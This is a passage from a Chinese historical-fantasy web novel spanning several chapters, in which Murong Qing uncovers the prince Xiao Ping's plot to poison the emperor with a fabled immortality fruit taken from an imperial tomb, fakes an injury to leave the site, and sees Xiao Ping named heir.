“你别跟来了,就在这等我,离得太近我怕你也会受到影响。”
这话竟是对肖平说的,连犯人也是一惊——可他不曾见过“昭大人”手执利刃身着盔甲的模样,一时完全联想不到。
肖平闻声止步,火光在他眸中跳动,“小心。”
慕容青颔首,带着人最终来到一扇紧闭的石门前。时机差不多是算好的,四和的动作不慢,石门发出沉重的轰鸣,缓缓向内开启。
门内通天藤蔓盘根错节,肉爪般的白花在幽暗中发出莹莹微光,甜腻的异香扑面而来。
那铁骨铮铮的硬汉的眼神开始涣散,他用力甩了甩头,试图保持清醒,却终究抵不住幻香的侵蚀。
他的嘴唇微微颤抖,开始喃喃自语:“娘,儿子回来了……儿子现在就可以接你走……”
他声音突然哽咽,布满厚茧的手向前虚递,“小弟的瘿病有救了,他们给了药!”
说着,他从破烂的衣襟里仿佛要掏出什么来,眼角渗出的浊泪顺着满是血痕的脸滑落,“活做完了,咱们一家以后可以下山了……”
慕容青静立在一旁,面无表情看他痛哭流涕的模样,这人倒是不求财,也不求色,只求一家平安团圆,有时候这却是世间最难得的东西。
随着时间流逝,无风自动的白色花枝慢慢缠上了那人颈项,慕容青跨前一步,张牙舞爪的藤蔓如同被火燎般急剧地向内蜷缩,到嘴的猎物说放就放,连迷离的幻香都似乎淡去几分。
早知道不过是返老还童重新又长了一遍,当初就不浪费那些缎带了。慕容青单手提着已然意识模糊、口中仍兀自唤着“娘”、“小弟”的犯人,步履沉稳地沿着来路返回。
沉重的镣铐在幽寂的地宫中拖曳出冗长的回响,她心中算了一下时间,这个家里的“父亲”,会就在这利琅山中吗?亦或是在另一处需要“做活”的地方?
肖平仍旧等在方才分别的地方,玄色的衣袍几乎要融进地宫深沉的暗影里,唯有那双亮若悬星的眼睛,始终看着她的方向。
“如何?”他问。
慕容青简明扼要道:“天池岭,临近边境的苦寒之地,有人在封闭的山中长期豢养死士,世代控制,为己所用。”
她报出了几个从犯人呓语中提炼出的、可能关联的位置,“派人去这些地方探查,顺藤摸瓜,应有所获。”
肖平应了一声,表示知晓。“后续之事,你不必再插手。”
又来了。慕容青似笑非笑看他,带着几分自嘲,更有几分锐利。“我这点微末伎俩,确实比不过你苦心孤诣谋划多年。可我终究还是有几分用处,你真的不想我做你手中的刀吗?”
肖平的眉头几不可察地蹙了一下,“不想。”
慕容青置若罔闻,向前半步逼近他:“这可真是奇怪了。要问鼎天下的,不正是你吗?”
地宫内霎时落针可闻,肖平眼底闪过一丝愕然,慕容青脑海中一幕幕尽是“公主”在望月崖上那番掷地有声、欲揽乾坤的豪言……还有金陵城中,许盟所说的先帝遗子,如今回首,诸般种种,皆有痕迹。
他执棋入局,韬光养晦,所图又岂会小。
然而,肖平的回答却偏离了她的预想。
“阿青,我从未想要你做我的刀。”
咫尺相对之人用近乎不容分说的口吻,决然地划下一道界线。
“你若牵涉其中,会妨碍我。”
49. 再入地宫
奇耻大辱……倒还谈不上。匪夷所思是真的,慕容青独立河畔,寒风卷起她几缕落在肩头的青丝,带来深秋彻骨的凉意。
她自幼失怙,在被宗族收养之前,便已懂得世事无常,要靠自己活下去,掌握实际的本领是必须的。
她一向做得很好,不依附于任何人,亦为人所需要。
若肖平只是不愿她涉足险境,她会认为这是出于庇护,尽管也是某种程度上的轻视。
但他是要将她彻底摒除在计划外——“妨碍”,是说她非但毫无价值,反而会成为已方势力的绊脚石,是一种累赘。
简直可笑。
若此话出自旁人之口,她自然是嗤之以鼻,不屑理会。可这个人偏生是肖平。她又怎会不知,要弄明白他真心所想,不是三言两语,一朝一夕。
但愿这一次,能有悠悠岁月,容他们慢慢走过。
“昭大人,河底的木桩已按您的吩咐重新打牢,”随行监作上前禀报,打断了她的思绪,“是否即刻下放石笼?”
慕容青收敛心神,目光转向黑沉沉的河面:“不急。此次改用新法,先将竹笼串联妥当,再投石填压,根基会更稳固。”
说着,她自袖中取出一张涂刷过桐油的硬黄纸,其上墨线详细描绘了编绳步骤与改良后的堰体结构图样,“照此图施行。物料我已核算过,大体充足,唯麻绳尚缺三百斤,需让船工尽快运抵。”
“是。”监作接过图样,正要退下,恰逢闵栀有事前来,倒是省了再派人寻她。
慕容青直接向她提及麻绳之事,随即又取出另一幅卷轴:“这是我为阿琛所绘小像,可一并带下山去,交与消息楼打探下落。”
闵栀接过卷轴,面露讶色。
消息楼乃是方家经营的“方圆茶肆”,实为小道消息汇集之所。阿琛失踪日久,众人皆以为他已遭遇不测,没想到昭早早仍如此挂心,主动提出借消息楼寻人,其中必有隐情。
她当即应承:“昭大人放心,此事定当办妥。”
待她轻轻展开卷轴,又是一怔。
方才那幅水利界画她虽只瞥了一眼,却见其工整严谨,笔法细入毫芒。可手中这幅人像……笔意虽苍劲,形貌却实在一言难尽。
“有何不妥?”见闵栀沉吟不语,慕容青问道。
闵栀唇边挂起得体的微笑,“无事,昭大人笔意超然,自成风骨。只是……”
她斟酌着用词,“这般神韵,恐非常人所能领会。不若我让徐生也执笔一幅,两相对照,更为稳妥。”
她这话说得委婉,慕容青心下明了,不免有些讪讪,从善如流道:“术业有专攻,就让徐生画吧。”
说完,她神色一正:“闵姑娘可否告知阿琛的出身来历?”
见她郑重其事,闵栀也收敛笑意,凝神回想答道:
“不瞒昭大人,阿琛的出身,闵家亦所知有限。约是十五年前,家父远航归途,见他只身抱着一块浮木,在海上已不知漂浮多久,气息奄奄,便命人将他救起。”
“他苏醒后,自称名叫阿琛,乃南海岛民,打渔时因风浪覆舟,流落海上。而他所说的岛屿、村落,船队中人并未见过,无从考证。”
“家父怜其年少无依,又见他精通水性舟楫,便留他在闵家效力。这些年来,他行事倒也稳妥,渐得信赖。”
“十五年前?”慕容青敏锐抬眸,“如此算来,彼时他应尚是少年?”
闵栀纤指轻抵下颌,努力追忆道:“那时我年岁尚小,记忆已有些模糊。说来奇怪,他的形貌似乎与当年我第一次见到他时,并无太大变化。”
她自觉此念荒谬,语气便带着不确定,“许是南海异域之人,天生样貌老成,与我中原不同罢。”
容颜未改?
慕容青心头倏然一紧,但这不绝不可能,两生花世间唯有一株,而另一种可以让人容颜不变的东西,唯有死人能用。
一个来历成谜、身手莫测,又在关键时刻“误触”机关,随后消失得无影无踪之人……他究竟怀着何种目的?
闵栀很快遣人将阿琛的画像送至最近的消息楼据点,然而,直至第二次围堰工程彻底完工,依然没有任何音讯。
此人如同石沉大海,生死不明。
有了前次经验,此番晋王世子率众再入地宫,准备得极为周详。
除常规器械,更备足了驱散蛇虫的药粉、惊扰蝠群的铜锣等物,以策万全。
地宫之内,湿冷阴寒如旧,陈腐的土腥混合着若有似无的草木香,石壁沁满水珠。
相较于之前的步步为营,这次也算是轻车熟路。
沿途所见,仍是那些诡谲壮丽的景象,巨大的石雕在火光下投下狰狞暗影,墙壁上描绘着繁复玄妙的仪轨。
破解了几处不甚复杂的残余机关后,队伍顺利抵达了亥陵地宫最核心的区域,也是他们此行真正的目的地——正殿玄宫。
众人于殿外整肃衣冠,依制行三叩九拜大礼。
溪真道长则于案前焚香祝祷,诵念经文。
礼毕,方才入内。
玄宫广阔恢弘,穹顶高悬,蟠龙石柱巍然耸立。
先帝梓宫静置于高台玉床,然而天顶之上,如轻纱帐幔般垂落下无数碧绿藤蔓,粗如儿臂,密如蛛网,纷杂交错将梓宫笼罩着。细看那些藤蔓表面,银斑密布,宛若星辰碎光,散发着诡异迷离的气息。
“这是何物?”张铎瞠目结舌,他在工事典籍中从未见过诸如此类的记载,也想不通这是什么仪制。
“……好美。”闵栀轻声赞叹,她也算见多识广,却也同样不认识此等奇株。阿琛不在,只好由她亲自下来,倒也算开了眼界。
肖平目光沉凝扫过那些藤蔓,四和立刻执刀上前,欲将其斩断。
“且慢。”慕容青出声制止,“当心藤蔓的汁液有毒,若溅上皮肉,没准会腐骨蚀筋。”
四和动作一滞:“昭大人认得此物?”
“不认得,”慕容青眨眨眼,直愣愣道,“我猜的。”
溪真则建议说:“不如用火把把它撩开。”
他应是回想起丑陵那次相同的情况了,慕容青观察过后,觉得这东西到底是怕火还是畏惧她的血脉并不好说,便从一个士兵手中接过燃烧正旺的火把,道:“我来吧。”
“昭大人,小心。”闵栀忍不住出声提醒。
慕容青微一颔首,举着火把,一步步走向玉台。火焰舔舐着藤蔓,发出“滋滋”的声响,少顷藤蔓便被烧断,一半松懈坠落下来,另一半则如同活物般急速后缩,退回天顶深处,隐没在黑暗中。
肖平挥手示意,待命士兵立刻上前,展开预先制备的黑布棺罩,准备将其整个包裹。慕容青见状问道:“不处理干净吗?”
其他人听得一头雾水,面露疑惑,但她相信肖平应该很清楚她所指何物,毕竟在丑陵,他亦曾亲眼见过——那棺材内的奇株,跟山谷之中极似。
昏昧光影下,肖平缄默未语。
先帝的梓宫就这样原封不动被绑上特制的长杠,底部加固托架,移下玉床。
要抬出山外还需要召集更多的人手和吊索,在队伍即将离开玄宫之前,肖平环视众人道:“此间诸事,关乎国本,擅传者死。”
他语调平淡无丝毫起伏,却令所有人脊背生寒。
“是!”众人垂首,齐声应道。
而慕容青抬眸注视着这一幕,若有所思。
是夜,月隐星沉,万籁俱寂,唯有巡夜军士规律的脚步声偶尔响起。
借助岩壁的阴影与茂密的山林,慕容青几个起落避开巡查,悄无声息地来到肖平居住的暖阁外,看了一会他从窗棂中透出的剪影。
半晌,她轻叩门扉。
“进。”内里传来他的声音,并无意外。
慕容青推门而入,只见肖平坐于书案后,手中拿着一卷书册,神情柔和而淡然。她上一次这般深夜探访,还是作为“昭早早”,那时的心情与此刻截然不同,当真是……恍若隔世。
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“你背上的伤怎么样了?”她目光落在他肩背处,那片衣料之下,仍缠裹着层层绷带。
肖平放下书卷,暖黄的烛光在他眸中摇曳:“无碍。”
慕容青行至案前,开门见山问道:“你伤重昏迷前,曾嘱托我一定要将先帝梓宫完完整整带出来,是为了棺内的‘定颜珠’吗?”
见他不答,慕容青几可断定:“此物可葆死人容颜永驻,视之若生,你知建极帝痴妄长生,便以此为饵,让他‘眼见为实’,以为这是凝聚了龙脉精华、能使人起死回生的‘仙丹’?”
所有帝陵天顶,皆会预留象征连通“龙脉”的隧道。是否有真龙气脉暂且不论,但那方通道之中,必会渐渐生出的该陵主藤的伴生藤,作用成谜。
而伴生藤笼罩之下,棺内必生奇株,所结果实‘定颜珠’可使帝王不朽,但若是活人服用,必死无疑。此事绝密,她也是在继任家主之位后方才知晓,肖平又是从何而知?
听她凌厉质问,肖平眼底未现波澜,更无半分动摇与慌乱,可见,她所料不错。
难怪他要她远走高飞,永远别再回王都——一旦事成,必将引发惊天巨变,留下便是置身死地。
面对肖平的静默不语,慕容青并不在乎,追问道,“你有几分把握?如果他命人试药……”
“……”肖平轻声叹气,“果实仅结一枚。”
这倒是,慕容青心念电转,又问:“若是未能立时毙命……”
肖平无奈看着她,慕容青忽然明白,这计划从始至终必然在源头上还有一环——蛰伏在宫闱中的内应,自然会确保万无一失。
肖平这是要借老皇帝自己的贪婪和昏聩,布下一个他甘之若饴的死局。
为求虚无缥缈的长生,私掘先帝陵寝,觊觎阴冥之物,行此悖逆人伦之举,纵是暴毙,朝廷为了皇家颜面,也无法大肆追究,只能对外宣称其“龙驭上宾”,粉饰太平。
可问题在于,这之后呢?
慕容青压低声音道:“老东西骤然驾崩,最大的隐患在于皇储久虚,你尚未取得太子之位,要如何稳定后面的局势?”
她原以为肖平装乖卖命,是为了与老皇帝交换利益先谋取东宫,没想到他上来就先要他的狗命。
他看起来生就一副循规蹈矩的模样,实则最是出人意料。
可如此一来,帝位空悬,天下必将大乱。届时又该如何收拾残局?
若只论快意恩仇,她那日踏足金銮殿,未必不能血溅五步,了结恩怨。
可痛快之后,江山社稷、黎明百姓又将陷入何种境地?
“阿青,”肖平开口,却不是回答她的问题,“我说过这之后的事情,与你无关。”
“三日后,你于溶洞勘验时,会遇落石意外,重伤难行,我将命人护送你返乡医治,好生静养。”
慕容青震惊之余,竟然想笑,昔年他自己伪装腿疾尚嫌不够,如今还要她也如法炮制?就没有别的招了?
肖平甚至补充道,“步辇马车皆已备好,四和会一路随行,确保你的安全。”
“你倒是替我安排得妥当,”慕容挑眉反问,“你凭什么认为我会听你的?”
“你可以将我排除在你的计划之外,你我各行其道,我绝不碍你的事。但你也休想左右我。”
肖平却是点了点头,平静道:“所以,我与你做交换。”
“只要你答应我不回王城复命,待局面稳定,我会派人送去你二哥的消息。”
慕容青浑身一震,瞳孔骤缩,几乎怀疑自己听错:“你确定?真是我二哥?”
肖平语气笃定:“虽非确切下落,却是一条可靠的线索。”
慕容青心绪翻腾,话锋陡转:“若你事败身死,又当如何?”
“我已做下安排,无论我生死如何,应你之事,绝不食言。”
慕容青目不转睛盯向他,这句话已然回答了她一开始的问题——他对此行并无十足把握,甚至……已经做好了最坏的打算。
50. 分道扬镳
黎明,晨光尚未彻底驱散利琅山间的薄雾,整片山腹溶洞区域便被森然肃穆的气氛所笼罩。身着铠甲、手持长戟的兵士们严阵以待,将外围各处路径把守得密不透风,任何闲杂人等都不得擅自靠近。
甚至包括此番随行的朝中大小官吏——无论工部、兵部,官职大小,均不例外。
张铎倒还和气地安抚同僚道:“到底是天家威仪,理当如此肃静,以免惊扰圣灵安息。”
众人纷纷点头称是,对此严密的守卫表示理解与敬畏,无人敢有异议,更无人敢上前探问。
慕容青同样不问,她直接隐匿在远处的一座矮坡后,凝神眺望,仔细观察。这个距离,根本没有守卫,也就她还能勉勉强强看清。
除了负责运送先帝梓宫的队伍抬着长杠进行着缓慢的作业外,另还有多支截然不同的小队在同时忙碌着。
这些士兵训练有素,动作迅捷,两人一组,或抬或扛,正从地下洞口不断运出一口口沉重硕大的木箱。
那些木箱样式统一,木质厚重,边角包裹着防止磕碰的金属皮。从兵士们沉腰发力、累得满头大汗的模样,不难判断其内所载之物分量极重。
慕容青凝眸细看,恰见一名兵士脚下一滑,不慎将木箱倾斜砸到地上,箱盖磕开一道缝隙——旭日照耀下,内里赫然反射出兵刃特有的冷硬寒芒。
本就看那些箱子眼熟,这下更是确凿无疑了。慕容青当即明白,肖平这是要搬空地宫武库。
当年先帝下葬时,如今高坐龙椅的那位,既舍不得将国库与内帑中的珍宝玉器填入陵寝,又想平息本就沸反盈天的朝臣非议,便将彼时大量囤积的军械武备,挪用了一部分充作陪葬品,美其名曰“以武镇陵,护佑山河”。
这些东西数量之多,足以武装一支数千人的私军而绰绰有余。
而钱库的银两恐怕也是要尽入囊中了,此次地宫大开,正是浑水摸鱼的最佳时机,她不相信肖平会放过。
想通了这一层,另一个人的态度便显得格外耐人寻味——镇陵监主将朱彪。
肖平这般调集人手,在他眼皮子底下行事,他绝无可能一无所知。
然而从最开始他们来到利琅山起,无论是围堰开凿,还是转运物资,这位手握亥陵实际权力的最高将领,就一直躲在幕后,鲜少露面,不曾对肖平的行为有过任何明确的指示或阻拦。
一切需要配合的地方都是由副将肖炎去执行,而肖炎的身份不言自明。
好个精于算计的老狐狸。慕容青感慨,朱彪的默许,证明他和肖平在某种程度上一定有所勾连,结盟也好,贿赂也罢,都有一个底线——那就是要撇清自己保留后路。
一旦事发,他只消推说自己万事不知,将一切罪责归咎于晋王世子的胆大妄为、副将的擅自行事,而他顶多落个玩忽职守、监管不力的罪名。
这些永无止境的权力博弈,纠缠不休的尔虞我诈,无论在哪朝哪代,何时何地,都似一张无形的巨网,牢牢裹缠着所有人。
人人都说厌倦,人人又乐此不彼。
明明连首鼠两端的朱彪都费心拉拢,却偏要她离开,搞不懂肖平葫芦里到底卖的什么药,但今日,她腰间的葫芦里装了酒。
没必要再继续窥探,慕容青带着清酒香烛等祭品,独自一人踏上了通往望月崖的山路。
山风凛冽,崖边竹林依旧,只是比记忆中更加茂密苍翠。
她原以为星霜荏苒,当年那场惨烈厮杀留下的痕迹定早被岁月和风雨抹平,此行也不过是凭吊天地,遥寄怀思。
可当她拨开丛生的杂草,步入竹林深处时,整个人却定在原地——眼前,赫然立着两排青石碑。
离她最近的碑上空无一字,没有名讳,没有生平,只以刚柔相济的刀法,深刻着一朵朵舒展的祥云。
慕容青蹲下身,指尖轻轻拂过石碑表面。
石质已然泛黄,边缘生出了斑驳的青苔,一些细微的裂纹如同光阴的年轮,深深烙印其上。另一块也是同样,这些石碑在此处,至少已历经了十几载寒暑。
她知道她们是谁,她们追随的人在脱险后曾悄悄回到这里,收敛了她们的遗骸,为她们立下这无名的坟冢。
化作天空真正的云,是他所能给予的,最宁静温柔的祝福。
而另一些疏疏落落的坟冢,碑上的名字并非她熟识之人。
可是,被端正摆放在石碑前的佩刀她却认得,开樋的形制,刀镡上特殊的纹印……那是十五年前,亥陵还在她辖下时镇陵军的佩刀。
最后护卫她的那支小队,她还来不及知道他们的名字,而现在,她记住了。
拔开葫芦塞,慕容青将清冽的酒液缓缓洒在竹林间。她伫立良久,千言万语哽在喉间,只得一句:
“他年泉下相逢,再与诸位共饮。”
两日后,肖平派人请她前去地宫“再行勘察”,慕容青心知肚明,自然也懒得带什么工具,一袭素衣,两手空空就去了。
溪真道长早已候在洞中,见着她忙迎上来,大声道:“昭大人,近日这岩顶似乎不甚稳固,方才还有碎石落下,实在令人担忧啊!”
怎么演技突然这么浮夸,慕容青眨巴眼,“道长也来勘察?”
溪真拂尘一甩,一本正经道:“贫道是来看风水的。”
为首为他们开路的正是四和,走了没几步,他也停下来板着脸孔,刻意营造起凝重的氛围:“昭大人、溪真道长,都小心些,此处落石有大有小,不留神可是会砸死人的。”
跟他一比,溪真的表演还是挺自然的,难怪肖平要把这小子打发出来。
慕容青暗叹一声,配合地抬头佯装张望,语气带着恰到好处的愚蠢:“是吗,应该不会吧……”
她这边还没演完,只听“咔”一声脆响,顶上的岩石干脆利落掉了下来!
一群人瞬间作鸟兽散,慕容青自然也不例外,趁周围人注意力都在洞顶,四和一脚踢碎道旁的麻袋,两股烟尘合在一起,洞内立刻影影绰绰,啥也看不清。
“啊!”
不知是谁夸张地惊呼一声,慕容青顺势歪倒,“恰巧”靠在那块坠落的岩石边,人事不省。
而四和则麻利地掏出水囊,撒了她一身鸡血,尤其是腿。
片刻后尘埃落定,现场嘈杂不
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已。
“不好了!昭大人被落石砸伤了!”
“还愣着干什么!快取担架来!”
“眼下山里没有军医,怎么办?”
“世子有令,即刻送昭大人下山医治!”
……
抬担架的队伍还特地绕着镇陵监溜了一圈,确保亲眼见到她“伤重昏迷”的人不在少数——慕容青全程紧闭双眼,着实希望自己能真晕过去算了。
直至大队人马班师回朝,再没有人见过昭将作,毕竟她那日伤得不轻,就算能侥幸捡回一条命,恐怕也得落下残疾,看那样子,只怕是再难行走。
车辙印凌乱地延伸向远方,营地仅余最后数辆马车尚未开拔。亲兵上前禀报道:“殿下,时辰已到,是否启程?”
肖平坐在马车内,目光穿过青山旧雨,烟岚云岫,飘忽不定。这一方天地埋藏着诸多的往事与牵挂,而他终归得要放下。
“出发。”
马车缓缓前行,车轮碾过碎石,发出辘辘的声响,与此同时,山道旁的密林中,一道青色身影敏捷地从一株古松上飞身而下。
见她如约而至,四和从车辕上跳下来,悠闲地吐掉一直叼在嘴里的草根,语气轻松地问:“昭姑娘,可以走了吗?”
慕容青拍了拍手上的灰尘,没有立刻回答,而是走到马车旁,伸手摸了摸其中一匹枣红马的脖颈。
那马儿打了个响鼻,温顺地蹭了蹭她的手心,她这才侧过头,看向四和笑道:“你倒是等得很放心,就不怕我方才趁机从别的方向溜了?”
四和抱臂而立,闻言脸上露出一抹了然的神情,“怎么可能?公子说昭姑娘一诺千金,既然应了他,便绝不会食言。”
慕容青沉吟道:“倒也不必如此过奖……”
“快走吧,”四和催道,“护送你的可不止我一个,还有一队人马在山脚等着呢。”
他们这辆打头的马车还是跟镇陵监借的,虽然是辕马,倒也配了简易的鞍具。慕容青手指轻轻敲着马鞍前桥,若有所思问:“你骑术怎么样?”
“一般,尚可,差不多吧?”四和一愣,没想到她会问这个,回答得颇为实在。很快他反应过来,忙问:“难道你想骑马?倒也不用这么急吧,万一被人发现了你的行踪怎么办?”
“无妨。”慕容青利落地从随身携带的包袱里取出一顶四周垂着轻薄黑纱的帷帽,“这样便可以掩人耳目。我们要在三日之内赶到最近的城池。”
“三日?!”四和声调不禁拔高,“从利琅山到最近的城池怎么也得四五天,为什么要这么赶……”
他话音未落,慕容青已然解开套索翻身上马,整套动作行云流水,显是早有成算。
“没关系,我先去。你若跟不上,便慢慢驾车来吧。”她夹紧马腹,低喝一声:“驾!”
枣红马应声长嘶,离弦箭般奋蹄奔驰而去。四和哪里还顾得上那么多,手忙脚乱冲向另一匹马,边调整缰绳边念叨“算了算了早完成任务早复命”,扬手挥鞭催马狂追,留下一路烟尘。
两道身影一前一后,朝着与世子车队截然相反的方向,很快消失在官道尽头。
51. 建极帝
斑驳的城墙一如垂垂老矣的巨兽,皇宫的轮廓在暮色下,竟显得与千里之外的明楼并无不同,一样的巍峨而肃杀,沉默地俯视着往来众生。
而宫墙之内,却又是另一番景象。
龙涎香的烟气在雕梁画栋间袅袅盘旋,养心殿中丝竹雅乐靡靡奏响,数名身姿曼妙的舞姬,赤足系着银铃,随着鼓点疾旋,纤腰如柳,裙裾飞扬,交织成一片醉生梦死的浮华。
身着明黄常服的建极帝斜倚在织锦软榻上,略显浑浊的眼睛半眯着,手指随着节拍有一下没一下地敲打着榻沿。
直到心腹太监王瑾面露喜色、脚步急促地躬身进来,他才懒洋洋挥退舞姬乐师,听其禀报道:
“陛下,天大的喜讯!”
王瑾趋近榻前,俯首躬腰,声音带着激动的颤音,“晋王世子不负圣望,已顺利完成使命,此刻正在城外等候陛下旨意!”
建极帝眼中骤然亮起精光,猛地坐直身体,紧紧盯着王瑾::“带回来了?!”
他可没有太监那些避讳和顾忌,直截了当地急切追问:“先帝梓宫可还完整?尸身……如何?”
王瑾将身子躬得更低,恭敬答道:
“回陛下,据回报,梓宫完好无损,已按陛下先前密旨,用特制棺罩封死,沿途绝无外人得见内里情形,故而尸身情形,暂不得而知。”
“好!好!好!”建极帝连说三个好字,脸上焕发出异常亢奋的红光。
“传朕旨意,命晋王世子亲自押送,将之秘密运入朕的丹霞宫!若有任何闪失,提头来见!”
“奴才遵旨!”王瑾领命,快步退出殿外。
建极帝兴奋地在殿内来回踱步,神采飞扬,仿佛一下子年轻了十几岁,口中喃喃:“终于……终于……”
他忽地顿住脚步,对侍立角落的另一名太监吩咐:“快去!请玄羽国师,移步丹霞宫!”
丹霞宫。
这方殿宇乃是建极帝平日里寻仙问道、炼制丹药之所,一向戒备森严,此时更是被宫廷侍卫层层把手,围得犹如铁桶一般。
殿内烛火通明,每一处落都被儿臂粗的红烛照得亮如白昼,却仍驱不散那股萦绕此间的阴冷气息——先帝巨大的梓宫静静安置于宫殿中央,作为这里曾经的主人,他的回归满是荒诞。
建极帝面无表情,喜怒不显,只是袖中双手不自觉微微颤抖。
相比之下,垂眸敛目、跪拜在地的晋王世子,反倒更像是一尊没有情绪的木偶,与这压抑而兴奋的诡异氛围格格不入。
他再一次凝神审视起这枚精挑细选、从乡野之地召回的旗子,缓缓开口道:“朕听人说,你在利琅山遇刺身负重伤,连回朝的路上,也数次遭到不明身份的贼人截杀?”
他口吻中带着循循善诱的亲切,“可知……是谁人背后指使?”
晋王世子燕平抬起头,对上建极帝的视线,谨慎道:“回陛下,臣不知。些许宵小,不足挂齿。为江山社稷,臣甘愿鞠躬尽瘁,死而后已。”
建极帝深深看了他一眼,“你做得很好,忠心可嘉。那些作乱的反贼,朕必将命人彻查,严惩不贷。”他挥了挥手道,“先下去好生歇息吧。”
“谢陛下,臣告退。”燕平干脆利落转身就走,丝毫没有多说半句废话,更未对那偌大梓宫流露出半分好奇与疑惑。
建极帝嘴角勾起微末弧度,这枚旗子很识时务,也很聪明,他畏惧兔死狗烹,所以不肯一口咬死猎物。
而那猎物,反倒是越来越不识相,自寻死路。
建极帝目光中寒意森森,对着那具梓宫低语道:“皇兄,回头朕便将你最喜爱的幼弟送下去陪你可好?毕竟,可是他帮朕害了你呢。”
“开棺!”建极帝深吸一口气,沉声喝令。
几名侍卫上前小心翼翼起掉棺钉,合力推开沉重的棺盖。
一股混合着不知名花香的奇异味道在殿内弥漫开来,身着龙纹冕服的先帝遗体安然静卧棺中,竟是栩栩如生,连皮肉都还红润,宛若只是沉睡,而非长眠地下。
侍卫们见状,无不心生寒意,齐齐跪伏在地,不敢抬头。
建极帝挥了挥手,示意他们快滚。他死死盯着棺内之人,心绪翻涌,近乎快要魇住。
就在这时,大太监王瑾来报,国师到了。
一位身着玄色道袍、红颜鹤发的女冠缓步踏入殿中。她神光内蕴,一派从容,正是深受建极帝信任的玄羽国师。
“陛下唤贫道前来,不知有何吩咐?”
“皇姐,你快来看看。”
建极帝多少年不曾这样激动,许是触景生情,连少时的称呼也一并叫了出来。
他沟壑纵横的脸上满是遗憾,扼腕叹息道:“皇兄他还是昔日模样,如此年轻,如此风华依旧。反观朕,却垂垂老矣,不复当年……”
他话锋一转,眼中闪过一丝阴鸷,接着道:“若当初朕没有听你的,给他留个全尸,而是放火将他烧为灰烬,不知是否还能不朽?”
玄羽国师立刻回答道:“陛下明鉴,这龙脉汇聚之地能孕育‘龙髓仙果’一事,贫道也是近年来才从观中古籍偶得,此前绝不知情。”
“不过也正因此机缘巧合,方能得获仙果,可见一切皆有定数,天佑大梁,天佑陛下。”
建极帝敛去厉色,换了一副笑面孔,“国师言重了,朕自然是信你的。”
他指向棺内银白的细小花朵,“便是这一株仙草,可使人得长生?”他目光灼灼,紧紧盯着其下唯一的果实,“此前丑陵作祟,当真是这‘龙髓仙果’所致吗?”
玄羽国师上前两步,辨认后笃定道:“此物形貌特征,与书中记载一般无二,恭贺陛下洪福齐天,得偿所愿。”
建极帝点了点头,却全然没有此前的迫不及待,反而沉吟道:“可惜邬志合那个废物,自丑陵一无所获,让他戴罪立功下子陵,反倒是石沉大海,连人也没了。邬家到底是没落,不堪大用,早知如此……”
他咬牙暗恨,话锋一转:“若是能再得到一颗‘龙髓仙果’,两相对照,也好令朕安心。”
“陛下,”玄羽国师淡淡一笑,带着勘破世情的通透,“这仙草花果同枝,功效一脉相连,花叶虽远不及果实蕴含龙精
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之丰厚,但同样能延年益寿,补气强体。”
“不知可否看在贫道多年来为江山社稷、为陛下分忧的微末功劳上,将之赏赐于贫道?”
“国师劳苦功高,合该如此。”建极帝抚掌大笑道:“快,还不速速将仙花取下,赐予国师!”
“奴才遵旨。”王瑾候命多时,忙用备好的金剪仔细剪下花朵,盛入白玉盏,奉于玄羽国师面前,“国师大人,请。”
银花被玄羽国师拈在指尖,她随即看向建极帝道:
“陛下,依太祖皇帝留下的古籍抄本记载,服食此仙果后,将安眠一月,以洗筋伐髓,完成蜕变。其花效用类似,虽不至使人沉眠月余,但亦需静卧七日,炼化效力。”
“稍后还请劳烦陛下,派人将贫道送回云天观,交予观中首席弟子照料。”
建极帝颔首,“国师放心。”
再无人出声的大殿一刹那静得落针可闻,好在下一刻,玄羽国师仰头便将那朵银色小花送入口中,轻轻咽下。
她神色平静无波,旋即原地盘膝坐下,手掐道诀,竟直接在这丹霞宫中闭眼打起坐来。
烛光晃动,约莫过去了半炷香,玄羽国师一动未动,似入定境。
在建极帝的眼神示意下,王瑾先是上前探其鼻息,随后招太医院院判方秋芹进殿。
方院使本就候在门外,即刻诊视后躬身道:“启禀陛下,玄羽国师确已安神入寐,观其脉象平和,内息安稳,非但无任何不妥,反而体内气血充盈,生机勃勃,远胜常人。”
“退下吧。”建极帝闭了闭眼,胸膛起伏,呼吸也变得粗重起来。
王瑾最是懂得察言观色,立刻指挥两名内侍将“入定”的玄羽国师用软轿抬走,送往云天观。
随后,他凑到建极帝身边,脸上堆满了谄媚的笑容:“恭喜陛下!贺喜陛下!国师服下仙花便有如此神效,可见古籍记载千真万确!待陛下服下这真正的‘龙髓仙果’,脱胎换骨,长生不老,便是我大梁永世不朽的圣君啊!”
建极帝本就思绪澎湃,听了这番话更是心花怒放,但残存的理智让他强压下立刻服食仙果的冲动。
他踱步到窗边,望着窗外漆黑夜色,森然道:“一个月的时间……只怕会给乱臣贼子可乘之机,搅得朝局不稳。”
王瑾眼珠一转,嗓子掐得更为尖细:
“陛下圣明,虑事周全。不过,老奴倒有一愚见。晋王世子此番办事得力,陛下何不趁此机会,施以隆恩,将其过继到膝下,令其监国?”
“一来,可稳定朝局,彰显陛下恩德;二来……”他故意拖长语调,“晋王殿下那边,听闻此事,想必也会十分‘欣慰’,更能体会陛下维护兄弟和睦、天家亲情之苦心。”
这话如同一点火星,点燃了建极帝心中最敏感的那根弦。他倒是也十分赞同这个提议,朝中老臣几次三番劝他立储,如此一来,倒正可平衡各方势力。
只是待他醒来之后,这太监怕是不能留了。
建极帝眼眸微眯,似笑非笑道:“王公公所言甚合朕意,传召晋王世子,明日早朝觐见!”
52. 入继
晨钟浑厚,响彻宫阙。恢弘的太极殿内,文武百官依品级垂首肃立,分列两班。建极帝高坐于九龙盘绕的金椅之上,虽一夜未眠,精神却格外亢奋。
此刻,这鎏金宝殿,满朝朱紫,便是他君临万世的未来。
“陛下万岁万岁万万岁!”
想到这句颂词很快就要成真,建极帝难得和颜悦色,目光缓缓扫过下方众臣。
今日例行议事已毕,御前大太监王瑾适时清了清嗓子,双手恭敬地举起一卷明黄圣旨,响亮开口道:“晋王世子燕平,上前听旨。”
燕平应声出列,行至御阶之下跪拜接旨。
“奉天承运,皇帝诏曰:朕之皇侄燕平,自幼聪慧,秉性忠良。自入朝以来,勤勉任事,屡立功勋,其忠勇孝悌,堪为宗室典范,朕心甚慰!国本之事,关乎社稷千秋,为安天下臣民之心,朕决议——”
王瑾声调陡然拔高,“迎取晋王世子燕平入继大统,以奉承祧!”
“入继大统”四字一出,如同惊雷炸响殿中,这意味着燕平将由此脱离晋王一脉,成为当朝唯一的皇子,法理上名正言顺的储君!
虽暂未正位东宫,但其地位之超然,已毋庸置疑。
